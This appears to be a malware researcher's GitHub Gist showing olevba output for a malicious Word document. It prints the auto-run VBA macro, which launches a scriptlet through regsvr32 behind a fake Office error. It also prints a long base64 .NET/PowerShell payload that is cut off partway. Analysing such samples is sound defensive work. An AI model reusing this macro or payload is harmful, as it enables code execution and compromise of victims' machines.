Created
February 15, 2018 22:49
-
-
Save JohnLaTwC/538d3c84083cd5cc7bd291c79002afa7 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| ## uploaded by @JohnLaTwC | |
| ## Sample hash: 8ec12b0d45c71d87fd78cd69ff01d925f7729621f4172d2326cc238730c8d531 | |
| olevba 0.52dev7 - http://decalage.info/python/oletools | |
| Flags Filename | |
| ----------- ----------------------------------------------------------------- | |
| OLE:MASI---- 8ec12b0d45c71d87fd78cd69ff01d925f7729621f4172d2326cc238730c8d531 | |
| =============================================================================== | |
| FILE: 8ec12b0d45c71d87fd78cd69ff01d925f7729621f4172d2326cc238730c8d531 | |
| Type: OLE | |
| ------------------------------------------------------------------------------- | |
| VBA MACRO ThisDocument.cls | |
| in file: 8ec12b0d45c71d87fd78cd69ff01d925f7729621f4172d2326cc238730c8d531 - OLE stream: u'Macros/VBA/ThisDocument' | |
| - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - | |
| Sub AutoOpen() | |
| SecureMode | |
| End Sub | |
| Sub Document_Open() | |
| SecureMode | |
| End Sub | |
| Public Function SecureMode() As Variant | |
| EnterSecureMode | |
| End Function | |
| Function ErrorMsg() | |
| Dim title As String | |
| title = "Microsoft Office Corrupt Application (Compatibility Mode)" | |
| Dim msg As String | |
| Dim intResponse As Integer | |
| msg = "This application appears to be made on an older version of the Microsoft Office product suite. Please have the author save to a newer and supported format. [Error Code: -219]" | |
| intResponse = MsgBox(msg, 16, title) | |
| End Function | |
| Sub SaveContent(Content As String, path As String) | |
| Dim fso As Object | |
| Set fso = CreateObject("Scripting.FileSystemObject") | |
| Dim Fileout As Object | |
| Set Fileout = fso.CreateTextFile(path, True, True) | |
| Fileout.Write Content | |
| Fileout.Close | |
| End Sub | |
| Sub EnterSecureMode() | |
| Dim m As String | |
| Dim p As String | |
| m = ActiveDocument.Shapes(1).TextFrame.TextRange.Text | |
| p = Environ$("TEMP") & "\tmp45.txt" | |
| Call SaveContent(m, p) | |
| If Dir(p) <> "" Then | |
| Dim tmp As Object | |
| Set Z = CreateObject("WScript.Shell") | |
| Z.Run ("regsvr32.exe /s /u /i:" & p & " scrobj.dll"), 0, False | |
| ErrorMsg | |
| End If | |
| End Sub | |
| ## writes: | |
| <?xml version="1.0" encoding="utf-8"?> <package> <component id="dummy"> <registration description="dummy" progid="dummy" version="1.00" remotable="True"> <script language="JScript"><![CDATA[function setversion() { } function debug(s) {} function base64ToStream(b) { var enc = new ActiveXObject("System.Text.ASCIIEncoding"); var length = enc.GetByteCount_2(b); var ba = enc.GetBytes_4(b); var transform = new ActiveXObject("System.Security.Cryptography.FromBase64Transform"); ba = transform.TransformFinalBlock(ba, 0, length); var ms = new ActiveXObject("System.IO.MemoryStream"); ms.Write(ba, 0, (length / 4) * 3); ms.Position = 0; return ms; } var serialized_obj = "AAEAAAD/////AQAAAAAAAAAEAQAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVy"+ "AwAAAAhEZWxlZ2F0ZQd0YXJnZXQwB21ldGhvZDADAwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXph"+ "dGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5IlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xk"+ "ZXIvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIJAgAAAAkD"+ "AAAACQQAAAAEAgAAADBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRl"+ "RW50cnkHAAAABHR5cGUIYXNzZW1ibHkGdGFyZ2V0EnRhcmdldFR5cGVBc3NlbWJseQ50YXJnZXRU"+ "eXBlTmFtZQptZXRob2ROYW1lDWRlbGVnYXRlRW50cnkBAQIBAQEDMFN5c3RlbS5EZWxlZ2F0ZVNl"+ "cmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQYFAAAAL1N5c3RlbS5SdW50aW1lLlJlbW90"+ "aW5nLk1lc3NhZ2luZy5IZWFkZXJIYW5kbGVyBgYAAABLbXNjb3JsaWIsIFZlcnNpb249Mi4wLjAu"+ "MCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BgcAAAAH"+ "dGFyZ2V0MAkGAAAABgkAAAAPU3lzdGVtLkRlbGVnYXRlBgoAAAANRHluYW1pY0ludm9rZQoEAwAA"+ "ACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAhEZWxlZ2F0ZQd0YXJnZXQw"+ "B21ldGhvZDADBwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVu"+ "dHJ5Ai9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkLAAAA"+ "CQwAAAAJDQAAAAQEAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9u"+ "SG9sZGVyBgAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlCk1lbWJlclR5"+ "cGUQR2VuZXJpY0FyZ3VtZW50cwEBAQEAAwgNU3lzdGVtLlR5cGVbXQkKAAAACQYAAAAJCQAAAAYR"+ "AAAALFN5c3RlbS5PYmplY3QgRHluYW1pY0ludm9rZShTeXN0ZW0uT2JqZWN0W10pCAAAAAoBCwAA"+ "AAIAAAAGEgAAACBTeXN0ZW0uWG1sLlNjaGVtYS5YbWxWYWx1ZUdldHRlcgYTAAAATVN5c3RlbS5Y"+ "bWwsIFZlcnNpb249Mi4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdh"+ "NWM1NjE5MzRlMDg5BhQAAAAHdGFyZ2V0MAkGAAAABhYAAAAaU3lzdGVtLlJlZmxlY3Rpb24uQXNz"+ "ZW1ibHkGFwAAAARMb2FkCg8MAAAAAD4AAAJNWpAAAwAAAAQAAAD//wAAuAAAAAAAAABAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAADh+6DgC0Cc0huAFMzSFUaGlzIHByb2dy"+ "YW0gY2Fubm90IGJlIHJ1biBpbiBET1MgbW9kZS4NDQokAAAAAAAAAFBFAABMAQMAPQyBWgAAAAAA"+ "AAAA4AAiIAsBMAAANAAAAAgAAAAAAACuUgAAACAAAABgAAAAAAAQACAAAAACAAAEAAAAAAAAAAQA"+ "AAAAAAAAAKAAAAACAAAAAAAAAwBAhQAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAAXFIA"+ "AE8AAAAAYAAADAQAAAAAAAAAAAAAAAAAAAAAAAAAgAAADAAAACRRAAAcAAAAAAAAAAAAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAIAAAAAAAAAAAAAAAIIAAASAAAAAAAAAAA"+ "AAAALnRleHQAAAC0MgAAACAAAAA0AAAAAgAAAAAAAAAAAAAAAAAAIAAAYC5yc3JjAAAADAQAAABg"+ "AAAABgAAADYAAAAAAAAAAAAAAAAAAEAAAEAucmVsb2MAAAwAAAAAgAAAAAIAAAA8AAAAAAAAAAAA"+ "AAAAAABAAABCAAAAAAAAAAAAAAAAAAAAAJBSAAAAAAAASAAAAAIABQAkIQAAADAAAAEAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEzACACMAAAAB"+ "AAARAigOAAAKcgEAAHAKKA8AAAoGKBAAAApvEQAACigCAAAGJioAGzADAH0AAAACAAARKBIAAAoK"+ "Bm8TAAAKBnMUAAAKJgZvFQAACiVvFgAACgJvFwAACiVvFgAACnJEJwBwbxgAAApvGQAACgZvGgAA"+ "CnMbAAAKC28cAAAKDCsPCG8dAAAKDQcJbx4AAAomCG8fAAAKLeneCggsBghvIAAACtwHbyEAAApv"+ "IgAACioAAAABEAAAAgBMABtnAAoAAAAAHgIoDgAACipCU0pCAQABAAAAAAAMAAAAdjIuMC41MDcy"+ "NwAAAAAFAGwAAADAAgAAI34AACwDAADwAwAAI1N0cmluZ3MAAAAAHAcAAFwnAAAjVVMAeC4AABAA"+ "AAAjR1VJRAAAAIguAAB4AQAAI0Jsb2IAAAAAAAAAAgAAAUcVAggJAAAAAPoBMwAWAAABAAAAHQAA"+ "AAMAAAADAAAAAQAAACIAAAAOAAAAAgAAAAIAAAABAAAAAgAAAAAATgIBAAAAAAAGAGwBSAMGANkB"+ "SAMGALkA4gIPAGgDAAAGAOEAkAIGAE8BkAIGADABkAIGAMABkAIGAIwBkAIGAKUBkAIGAPgAkAIG"+ "AM0AKQMGAKsAKQMGABMBkAIGAJYDYgIKAF4AAgMGALQCxAMGAA4ALgAKAJQDcwIGAAICxAMGALMD"+ "YgIKAOADAgMKAHMAcwIKAJQAAgMKAKICAgMGAAEALwIGAMICdwMGAIIAYgIGACgCYgIAAAAAHAAA"+ "AAAAAQABAAEAEACKAwAAPQABAAEAAAAQAPkBAAA9AAEAAgBQIAAAAACGGNwCBgABAIAgAAAAAJYA"+ "9wGYAAEAHCEAAAAAhhjcAgYAAgAAAAEATQAJANwCAQARANwCBgAZANwCCgApANwCEAAxANwCEAA5"+ "ANwCEABBANwCEABJANwCEABRANwCEABZANwCEABhANwCFQBpANwCEABxANwCEAB5ANwCBgChAGcA"+ "HgCpAAsCIwChACUCKQCxAFgAPgCBAG4CBgC5ANwCQwCBAI4ASQDBAPUCTgDJAKkDEADJAEkAEADB"+ "AHsAUwCBAJ0ABgCJANwCBgAMAM4CYwAUAJ0DcwCJAFEAeADZALsDfgDhAKMABgB5ABwCggDpAGkC"+ "ggAuAAsAnQAuABMApgAuABsAxQAuACMAzgAuACsA4wAuADMADQEuADsADQEuAEMAzgAuAEsAEwEu"+ "AFMADQEuAFsADQEuAGMAOAEuAGsAYgFDAFsAbwEaAC8AXABsAASAAAABAAAAAAAAAAAAAAAAANAD"+ "AAACAAAAAAAAAAAAAACGACUAAAAAAAEAAAAAAAAAAAAAAI8AcwIAAAAAAAAAAABDb2xsZWN0aW9u"+ "YDEASUVudW1lcmF0b3JgMQA8TW9kdWxlPgBtc2NvcmxpYgBTeXN0ZW0uQ29sbGVjdGlvbnMuR2Vu"+ "ZXJpYwBBZGQAY21kAEFwcGVuZABDcmVhdGVSdW5zcGFjZQBnZXRfVW5pY29kZQBSdW5zcGFjZUlu"+ "dm9rZQBJRGlzcG9zYWJsZQBDcmVhdGVQaXBlbGluZQBDbG9zZQBEaXNwb3NlAEd1aWRBdHRyaWJ1"+ "dGUARGVidWdnYWJsZUF0dHJpYnV0ZQBDb21WaXNpYmxlQXR0cmlidXRlAEFzc2VtYmx5VGl0bGVB"+ "dHRyaWJ1dGUAQXNzZW1ibHlUcmFkZW1hcmtBdHRyaWJ1dGUAQXNzZW1ibHlGaWxlVmVyc2lvbkF0"+ "dHJpYnV0ZQBBc3NlbWJseUNvbmZpZ3VyYXRpb25BdHRyaWJ1dGUAQXNzZW1ibHlEZXNjcmlwdGlv"+ "bkF0dHJpYnV0ZQBDb21waWxhdGlvblJlbGF4YXRpb25zQXR0cmlidXRlAEFzc2VtYmx5UHJvZHVj"+ "dEF0dHJpYnV0ZQBBc3NlbWJseUNvcHlyaWdodEF0dHJpYnV0ZQBBc3NlbWJseUNvbXBhbnlBdHRy"+ "aWJ1dGUAUnVudGltZUNvbXBhdGliaWxpdHlBdHRyaWJ1dGUARG9GdW5TdHVmZgBFbmNvZGluZwBG"+ "cm9tQmFzZTY0U3RyaW5nAFRvU3RyaW5nAEdldFN0cmluZwBTeXN0ZW0uQ29sbGVjdGlvbnMuT2Jq"+ "ZWN0TW9kZWwARXhhbXBsZUFzc2VtYmx5LmRsbABTeXN0ZW0AVHJpbQBPcGVuAFN5c3RlbS5NYW5h"+ "Z2VtZW50LkF1dG9tYXRpb24AU3lzdGVtLlJlZmxlY3Rpb24AQ29tbWFuZENvbGxlY3Rpb24AU3Ry"+ "aW5nQnVpbGRlcgBJRW51bWVyYXRvcgBHZXRFbnVtZXJhdG9yAC5jdG9yAFN5c3RlbS5EaWFnbm9z"+ "dGljcwBnZXRfQ29tbWFuZHMAU3lzdGVtLk1hbmFnZW1lbnQuQXV0b21hdGlvbi5SdW5zcGFjZXMA"+ "U3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzAFN5c3RlbS5SdW50aW1lLkNvbXBpbGVyU2Vy"+ "dmljZXMARGVidWdnaW5nTW9kZXMAU3lzdGVtLkNvbGxlY3Rpb25zAFRlc3RDbGFzcwBQU09iamVj"+ "dABnZXRfQ3VycmVudABBZGRTY3JpcHQAQ29udmVydABNb3ZlTmV4dABTeXN0ZW0uVGV4dABFeGFt"+ "cGxlQXNzZW1ibHkAUnVuc3BhY2VGYWN0b3J5AACnQVMAUQBCAG0AQQBDAGcAQQBKAEEAQgBRAEEA"+ "RgBNAEEAVgBnAEIARgBBAEgASQBBAGMAdwBCAEoAQQBFADgAQQBUAGcAQgBVAEEARwBFAEEAWQBn"+ "AEIAcwBBAEUAVQBBAEwAZwBCAFEAQQBGAE0AQQBWAGcAQgBGAEEARgBJAEEAVQB3AEIASgBBAEUA"+ "OABBAFQAZwBBAHUAQQBFADAAQQBRAFEAQgBLAEEARwA4AEEAYwBnAEEAZwBBAEMAMABBAFIAdwBC"+ "AGwAQQBDAEEAQQBNAHcAQQBwAEEASABzAEEASgBBAEIASABBAEYAQQBBAFIAZwBBADkAQQBGAHMA"+ "QQBjAGcAQgBGAEEARQBZAEEAWABRAEEAdQBBAEUARQBBAFUAdwBCAFQAQQBHAFUAQQBUAFEAQgBp"+ "AEEARwB3AEEAVwBRAEEAdQBBAEUAYwBBAFIAUQBCADAAQQBGAFEAQQBlAFEAQgBRAEEARQBVAEEA"+ "SwBBAEEAbgBBAEYATQBBAGUAUQBCAHoAQQBIAFEAQQBaAFEAQgB0AEEAQwA0AEEAVABRAEIAaABB"+ "AEcANABBAFkAUQBCAG4AQQBHAFUAQQBiAFEAQgBsAEEARwA0AEEAZABBAEEAdQBBAEUARQBBAGQA"+ "UQBCADAAQQBHADgAQQBiAFEAQgBoAEEASABRAEEAYQBRAEIAdgBBAEcANABBAEwAZwBCAFYAQQBI"+ "AFEAQQBhAFEAQgBzAEEASABNAEEASgB3AEEAcABBAEMANABBAEkAZwBCAEgAQQBHAFUAQQBkAEEA"+ "QgBHAEEARwBrAEEAUgBRAEIAZwBBAEUAdwBBAFoAQQBBAGkAQQBDAGcAQQBKAHcAQgBqAEEARwBF"+ "AEEAWQB3AEIAbwBBAEcAVQBBAFoAQQBCAEgAQQBIAEkAQQBiAHcAQgAxAEEASABBAEEAVQBBAEIA"+ "dgBBAEcAdwBBAGEAUQBCAGoAQQBIAGsAQQBVAHcAQgBsAEEASABRAEEAZABBAEIAcABBAEcANABB"+ "AFoAdwBCAHoAQQBDAGMAQQBMAEEAQQBuAEEARQA0AEEASgB3AEEAcgBBAEMAYwBBAGIAdwBCAHUA"+ "QQBGAEEAQQBkAFEAQgBpAEEARwB3AEEAYQBRAEIAagBBAEMAdwBBAFUAdwBCADAAQQBHAEUAQQBk"+ "AEEAQgBwAEEARwBNAEEASgB3AEEAcABBAEQAcwBBAFMAUQBCAEcAQQBDAGcAQQBKAEEAQgBIAEEA"+ "RgBBAEEAUgBnAEEAcABBAEgAcwBBAEoAQQBCAEgAQQBGAEEAQQBRAHcAQQA5AEEAQwBRAEEAUgB3"+ "AEIAUQBBAEUAWQBBAEwAZwBCAEgAQQBHAFUAQQBWAEEAQgBXAEEARQBFAEEAYgBBAEIAVgBBAEcA"+ "VQBBAEsAQQBBAGsAQQBFADQAQQBkAFEAQgBNAEEARQB3AEEASwBRAEEANwBBAEUAawBBAFIAZwBB"+ "AG8AQQBDAFEAQQBSAHcAQgBRAEEARQBNAEEAVwB3AEEAbgBBAEYATQBBAFkAdwBCAHkAQQBHAGsA"+ "QQBjAEEAQgAwAEEARQBJAEEASgB3AEEAcgBBAEMAYwBBAGIAQQBCAHYAQQBHAE0AQQBhAHcAQgBN"+ "AEEARwA4AEEAWgB3AEIAbgBBAEcAawBBAGIAZwBCAG4AQQBDAGMAQQBYAFEAQQBwAEEASABzAEEA"+ "SgBBAEIASABBAEYAQQBBAFEAdwBCAGIAQQBDAGMAQQBVAHcAQgBqAEEASABJAEEAYQBRAEIAdwBB"+ "AEgAUQBBAFEAZwBBAG4AQQBDAHMAQQBKAHcAQgBzAEEARwA4AEEAWQB3AEIAcgBBAEUAdwBBAGIA"+ "dwBCAG4AQQBHAGMAQQBhAFEAQgB1AEEARwBjAEEASgB3AEIAZABBAEYAcwBBAEoAdwBCAEYAQQBH"+ "ADQAQQBZAFEAQgBpAEEARwB3AEEAWgBRAEIAVABBAEcATQBBAGMAZwBCAHAAQQBIAEEAQQBkAEEA"+ "QgBDAEEAQwBjAEEASwB3AEEAbgBBAEcAdwBBAGIAdwBCAGoAQQBHAHMAQQBUAEEAQgB2AEEARwBj"+ "AEEAWgB3AEIAcABBAEcANABBAFoAdwBBAG4AQQBGADAAQQBQAFEAQQB3AEEARABzAEEASgBBAEIA"+ "SABBAEYAQQBBAFEAdwBCAGIAQQBDAGMAQQBVAHcAQgBqAEEASABJAEEAYQBRAEIAdwBBAEgAUQBB"+ "AFEAZwBBAG4AQQBDAHMAQQBKAHcAQgBzAEEARwA4AEEAWQB3AEIAcgBBAEUAdwBBAGIAdwBCAG4A"+ "QQBHAGMAQQBhAFEAQgB1AEEARwBjAEEASgB3AEIAZABBAEYAcwBBAEoAdwBCAEYAQQBHADQAQQBZ"+ "AFEAQgBpAEEARwB3AEEAWgBRAEIAVABBAEcATQBBAGMAZwBCAHAAQQBIAEEAQQBkAEEAQgBDAEEA"+ "RwB3AEEAYgB3AEIAagBBAEcAcwBBAFMAUQBCAHUAQQBIAFkAQQBiAHcAQgBqAEEARwBFAEEAZABB"+ "AEIAcABBAEcAOABBAGIAZwBCAE0AQQBHADgAQQBaAHcAQgBuAEEARwBrAEEAYgBnAEIAbgBBAEMA"+ "YwBBAFgAUQBBADkAQQBEAEEAQQBmAFEAQQBrAEEARgBZAEEAUQBRAEIAcwBBAEQAMABBAFcAdwBC"+ "AEQAQQBFADgAQQBiAEEAQgBzAEEARwBVAEEAWQB3AEIAVQBBAEcAawBBAFQAdwBCAE8AQQBIAE0A"+ "QQBMAGcAQgBIAEEARwBVAEEAVABnAEIARgBBAEgASQBBAGEAUQBCAGoAQQBDADQAQQBSAEEAQgBK"+ "AEEARwBNAEEAVgBBAEIAcABBAEUAOABBAFQAZwBCAGgAQQBGAEkAQQBXAFEAQgBiAEEARgBNAEEA"+ "ZABBAEIAUwBBAEUAawBBAGIAZwBCAEgAQQBDAHcAQQBVAHcAQgA1AEEARgBNAEEAVgBBAEIAbABB"+ "AEcAMABBAEwAZwBCAFAAQQBHAEkAQQBhAGcAQgBGAEEARwBNAEEAVgBBAEIAZABBAEYAMABBAE8A"+ "ZwBBADYAQQBFADQAQQBaAFEAQgBYAEEAQwBnAEEASwBRAEEANwBBAEMAUQBBAFYAZwBCAGgAQQBF"+ "AHcAQQBMAGcAQgBCAEEARwBRAEEAUgBBAEEAbwBBAEMAYwBBAFIAUQBCAHUAQQBHAEUAQQBZAGcA"+ "QgBzAEEARwBVAEEAVQB3AEIAagBBAEgASQBBAGEAUQBCAHcAQQBIAFEAQQBRAGcAQQBuAEEAQwBz"+ "AEEASgB3AEIAcwBBAEcAOABBAFkAdwBCAHIAQQBFAHcAQQBiAHcAQgBuAEEARwBjAEEAYQBRAEIA"+ "dQBBAEcAYwBBAEoAdwBBAHMAQQBEAEEAQQBLAFEAQQA3AEEAQwBRAEEAVgBnAEIAQgBBAEUAdwBB"+ "AEwAZwBCAEIAQQBFAFEAQQBaAEEAQQBvAEEAQwBjAEEAUgBRAEIAdQBBAEcARQBBAFkAZwBCAHMA"+ "QQBHAFUAQQBVAHcAQgBqAEEASABJAEEAYQBRAEIAdwBBAEgAUQBBAFEAZwBCAHMAQQBHADgAQQBZ"+ "AHcAQgByAEEARQBrAEEAYgBnAEIAMgBBAEcAOABBAFkAdwBCAGgAQQBIAFEAQQBhAFEAQgB2AEEA"+ "RwA0AEEAVABBAEIAdgBBAEcAYwBBAFoAdwBCAHAAQQBHADQAQQBaAHcAQQBuAEEAQwB3AEEATQBB"+ "AEEAcABBAEQAcwBBAEoAQQBCAEgAQQBGAEEAQQBRAHcAQgBiAEEAQwBjAEEAUwBBAEIATABBAEUA"+ "VQBBAFcAUQBCAGYAQQBFAHcAQQBUAHcAQgBEAEEARQBFAEEAVABBAEIAZgBBAEUAMABBAFEAUQBC"+ "AEQAQQBFAGcAQQBTAFEAQgBPAEEARQBVAEEAWABBAEIAVABBAEcAOABBAFoAZwBCADAAQQBIAGMA"+ "QQBZAFEAQgB5AEEARwBVAEEAWABBAEIAUQBBAEcAOABBAGIAQQBCAHAAQQBHAE0AQQBhAFEAQgBs"+ "AEEASABNAEEAWABBAEIATgBBAEcAawBBAFkAdwBCAHkAQQBHADgAQQBjAHcAQgB2AEEARwBZAEEA"+ "ZABBAEIAYwBBAEYAYwBBAGEAUQBCAHUAQQBHAFEAQQBiAHcAQgAzAEEASABNAEEAWABBAEIAUQBB"+ "AEcAOABBAGQAdwBCAGwAQQBIAEkAQQBVAHcAQgBvAEEARwBVAEEAYgBBAEIAcwBBAEYAdwBBAFUA"+ "dwBCAGoAQQBIAEkAQQBhAFEAQgB3AEEASABRAEEAUQBnAEEAbgBBAEMAcwBBAEoAdwBCAHMAQQBH"+ "ADgAQQBZAHcAQgByAEEARQB3AEEAYgB3AEIAbgBBAEcAYwBBAGEAUQBCAHUAQQBHAGMAQQBKAHcA"+ "QgBkAEEARAAwAEEASgBBAEIAVwBBAEcARQBBAGIAQQBCADkAQQBFAFUAQQBUAEEAQgBUAEEARwBV"+ "AEEAZQB3AEIAYgBBAEYATQBBAFEAdwBCAFMAQQBHAGsAQQBjAEEAQgBVAEEARQBJAEEAYgBBAEIA"+ "dgBBAEUATQBBAFMAdwBCAGQAQQBDADQAQQBJAGcAQgBIAEEARwBVAEEAVgBBAEIARwBBAEUAawBB"+ "AFIAUQBCAGcAQQBFAHcAQQBaAEEAQQBpAEEAQwBnAEEASgB3AEIAegBBAEcAawBBAFoAdwBCAHUA"+ "QQBHAEUAQQBkAEEAQgAxAEEASABJAEEAWgBRAEIAegBBAEMAYwBBAEwAQQBBAG4AQQBFADQAQQBK"+ "AHcAQQByAEEAQwBjAEEAYgB3AEIAdQBBAEYAQQBBAGQAUQBCAGkAQQBHAHcAQQBhAFEAQgBqAEEA"+ "QwB3AEEAVQB3AEIAMABBAEcARQBBAGQAQQBCAHAAQQBHAE0AQQBKAHcAQQBwAEEAQwA0AEEAVQB3"+ "AEIAbABBAEgAUQBBAFYAZwBCAEIAQQBFAHcAQQBkAFEAQgBsAEEAQwBnAEEASgBBAEIAdQBBAEYA"+ "VQBBAGIAQQBCAHMAQQBDAHcAQQBLAEEAQgBPAEEARQBVAEEAZAB3AEEAdABBAEUAOABBAFEAZwBC"+ "AHEAQQBFAFUAQQBRAHcAQgAwAEEAQwBBAEEAUQB3AEIAdgBBAEUAdwBBAFQAQQBCAEYAQQBFAE0A"+ "QQBWAEEAQgBwAEEARQA4AEEAYgBnAEIAVABBAEMANABBAFIAdwBCAGwAQQBHADQAQQBSAFEAQgB5"+ "AEEARQBrAEEAWQB3AEEAdQBBAEUAZwBBAFEAUQBCAHoAQQBFAGcAQQBVAHcAQgBsAEEASABRAEEA"+ "VwB3AEIAegBBAEgAUQBBAGMAZwBCAHAAQQBFADQAQQBSAHcAQgBkAEEAQwBrAEEASwBRAEIAOQBB"+ "AEYAcwBBAFUAZwBCAEYAQQBHAFkAQQBYAFEAQQB1AEEARQBFAEEAVQB3AEIAVABBAEUAVQBBAFQA"+ "UQBCAEMAQQBHAHcAQQBXAFEAQQB1AEEARQBjAEEAWgBRAEIAVQBBAEYAUQBBAFcAUQBCAFEAQQBH"+ "AFUAQQBLAEEAQQBuAEEARgBNAEEAZQBRAEIAegBBAEgAUQBBAFoAUQBCAHQAQQBDADQAQQBUAFEA"+ "QgBoAEEARwA0AEEAWQBRAEIAbgBBAEcAVQBBAGIAUQBCAGwAQQBHADQAQQBkAEEAQQB1AEEARQBF"+ "AEEAZABRAEIAMABBAEcAOABBAGIAUQBCAGgAQQBIAFEAQQBhAFEAQgB2AEEARwA0AEEATABnAEIA"+ "QgBBAEcAMABBAGMAdwBCAHAAQQBGAFUAQQBkAEEAQgBwAEEARwB3AEEAYwB3AEEAbgBBAEMAawBB"+ "AGYAQQBBAC8AQQBIAHMAQQBKAEEAQgBmAEEASAAwAEEAZgBBAEEAbABBAEgAcwBBAEoAQQBCAGYA"+ "QQBDADQAQQBSAHcAQgBGAEEASABRAEEAUgBnAEIAcABBAEcAVQBBAFQAQQBCAGsAQQBDAGcAQQBK"+ "AHcAQgBoAEEARwAwAEEAYwB3AEIAcABBAEUAawBBAGIAZwBCAHAAQQBIAFEAQQBSAGcAQgBoAEEA"+ "RwBrAEEAYgBBAEIAbABBAEcAUQBBAEoAdwBBAHMAQQBDAGMAQQBUAGcAQgB2AEEARwA0AEEAVQBB"+ "AEIAMQBBAEcASQBBAGIAQQBCAHAAQQBHAE0AQQBMAEEAQgBUAEEASABRAEEAWQBRAEIAMABBAEcA"+ "awBBAFkAdwBBAG4AQQBDAGsAQQBMAGcAQgBUAEEARwBVAEEAZABBAEIAVwBBAEcARQBBAFQAQQBC"+ "AFYAQQBHAFUAQQBLAEEAQQBrAEEARwA0AEEAZABRAEIAcwBBAEcAdwBBAEwAQQBBAGsAQQBIAFEA"+ "QQBVAGcAQgBWAEEARwBVAEEASwBRAEIAOQBBAEQAcwBBAGYAUQBBADcAQQBGAHMAQQBVAHcAQgA1"+ "AEEARgBNAEEAZABBAEIAbABBAEUAMABBAEwAZwBCAE8AQQBFAFUAQQBkAEEAQQB1AEEARgBNAEEA"+ "UgBRAEIAUwBBAEgAWQBBAFMAUQBCAGoAQQBHAFUAQQBVAEEAQgB2AEEARwBrAEEAYgBnAEIAMABB"+ "AEUAMABBAFEAUQBCAE8AQQBFAEUAQQBaAHcAQgBGAEEARgBJAEEAWABRAEEANgBBAEQAbwBBAFIA"+ "UQBCADQAQQBIAEEAQQBSAFEAQgBEAEEASABRAEEATQBRAEEAdwBBAEQAQQBBAFEAdwBCAFAAQQBH"+ "ADQAQQBkAEEAQgBwAEEARQA0AEEAVgBRAEIAbABBAEQAMABBAE0AQQBBADcAQQBDAFEAQQBWAHcA"+ "QgBqAEEARAAwAEEAVABnAEIARgBBAEgAYwBBAEwAUQBCAFAAQQBFAEkAQQBhAGcAQgBsAEEARQBN"+ "AEEAVgBBAEEAZwBBAEYATQBBAGUAUQBCAHoAQQBIAFEAQQBSAFEAQgBOAEEAQwA0AEEAVABnAEIA"+ "RgBBAEgAUQBBAEwAZwBCAFgAQQBFAFUAQQBRAGcAQgBEAEEARQB3AEEAYQBRAEIAbABBAEUANABB"+ "AFYAQQBBADcAQQBDAFEAQQBkAFEAQQA5AEEAQwBjAEEAVABRAEIAdgBBAEgAbwBBAGEAUQBCAHMA"+ "QQBHAHcAQQBZAFEAQQB2AEEARABVAEEATABnAEEAdwBBAEMAQQBBAEsAQQBCAFgAQQBHAGsAQQBi"+ "AGcAQgBrAEEARwA4AEEAZAB3AEIAegBBAEMAQQBBAFQAZwBCAFUAQQBDAEEAQQBOAGcAQQB1AEEA"+ "RABNAEEATwB3AEEAZwBBAEYAUQBBAGMAZwBCAHAAQQBHAFEAQQBaAFEAQgB1AEEASABRAEEATAB3"+ "AEEAMwBBAEMANABBAE0AQQBBADcAQQBDAEEAQQBjAGcAQgAyAEEARABvAEEATQBRAEEAeABBAEMA"+ "NABBAE0AQQBBAHAAQQBDAEEAQQBiAEEAQgBwAEEARwBzAEEAWgBRAEEAZwBBAEUAYwBBAFoAUQBC"+ "AGoAQQBHAHMAQQBiAHcAQQBuAEEARABzAEEAVwB3AEIAVABBAEgAawBBAGMAdwBCADAAQQBHAFUA"+ "QQBiAFEAQQB1AEEARQA0AEEAWgBRAEIAMABBAEMANABBAFUAdwBCAGwAQQBIAEkAQQBkAGcAQgBw"+ "AEEARwBNAEEAWgBRAEIAUQBBAEcAOABBAGEAUQBCAHUAQQBIAFEAQQBUAFEAQgBoAEEARwA0AEEA"+ "WQBRAEIAbgBBAEcAVQBBAGMAZwBCAGQAQQBEAG8AQQBPAGcAQgBUAEEARwBVAEEAYwBnAEIAMgBB"+ "AEcAVQBBAGMAZwBCAEQAQQBHAFUAQQBjAGcAQgAwAEEARwBrAEEAWgBnAEIAcABBAEcATQBBAFkA"+ "UQBCADAAQQBHAFUAQQBWAGcAQgBoAEEARwB3AEEAYQBRAEIAawBBAEcARQBBAGQAQQBCAHAAQQBH"+ "ADgAQQBiAGcAQgBEAEEARwBFAEEAYgBBAEIAcwBBAEcASQBBAFkAUQBCAGoAQQBHAHMAQQBJAEEA"+ "QQA5AEEAQwBBAEEAZQB3AEEAawBBAEgAUQBBAGMAZwBCADEAQQBHAFUAQQBmAFEAQQA3AEEAQwBR"+ 